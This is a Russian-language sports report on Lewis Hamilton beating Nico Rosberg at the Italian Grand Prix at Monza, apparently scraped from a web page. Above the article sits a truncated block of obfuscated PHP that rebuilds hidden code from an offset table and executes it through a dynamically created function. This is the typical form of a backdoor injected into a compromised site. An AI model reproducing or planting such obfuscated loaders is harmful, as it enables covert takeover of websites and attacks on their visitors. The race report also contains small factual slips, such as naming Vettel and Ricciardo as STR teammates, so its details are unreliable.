aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

Льюис Хэмилтон переиграл Нико Росберга в споре за победу в Гран При Италии

Льюис Хэмилтон впервые за два месяца поднялся на вершину подиума, в принципиальном споре взяв верх над Нико Росбергом в Монце.

Британец скверно стартовал, откатившись на четвёртое место, но быстро обогнал на трассе Кевина Магнуссена и Фелипе Массу, после чего по пятам преследовал напарника, который дважды ошибался на торможении перед первой "эской" и в итоге уступил лидерство.

Гонка получилась богатой на упорные поединки и обмен позициями, которые кипели по всему пелотону. Помимо Хэмилтона, очень неудачно стартовали Валттери Боттас и Даниэль Риккардо, но обоим молодым пилотам удались впечатляющие прорывы. Отлично провёл Гран При Италии и Даниил Квят: несмотря на 21-ю стартовую позицию, россиянин из STR остановился всего в шаге от первой десятки на финише.

Росберг вышел вперед после сигнала светофоров, Кевин Магнуссен отлично стартовал и вышел на второе место. Но едва пилотам разрешили использовать DRS, датчанина из McLaren обогнали Масса и Хэмилтон. У Льюиса не работало подвижное крыло, но в первом повороте десятого круга он все равно смог опередить Фелипе в первом повороте и стал вторым.

Бразилец из Williams удержал третью позицию до финиша, впервые в сезоне поднявшись на подиум. Его напарник завершил первый круг только 11-м, но обгонял соперника за соперником и стал в итоге четвёртым.

Себастьян Феттель первым провел единственный пит-стоп, потому под финиш его шины были уже сильно изношены, и немцу не удалось сдержать натиск своего партнёра по STR Даниэля Риккардо. На трассе моторов австралиец стал сильнейшим среди тех, чья машина не оснащена двигателем Mercedes.

Фернандо Алонсо опережал обоих представителей RBR, но вскоре после середины дистанции выбыл из борьбы из-за поломки.

Оставшиеся очки в отчаянном поединке оспаривали пилоты McLaren и Серхио Перес. Кевин Магнуссен стал сильнейшим на трассе, но затем датчанин получил пять штрафных секунд за слишком жесткую оборону против Боттаса.

Кими Райкконен замкнул десятку, а из-за штрафа Магнуссена даже стал девятым, но это едва ли порадовало тиффози. Финна догнал на последних кругах Квят, и даже начал атаковать – но неполадки с тормозами привели в очень опасному эпизоду в первом повороте и отбросили россиянина назад.

Нико Росберг покинает Европу лидером чемпионата, опережая Льюиса Хэмилтона на 22 очка.


http://www.pkp.lv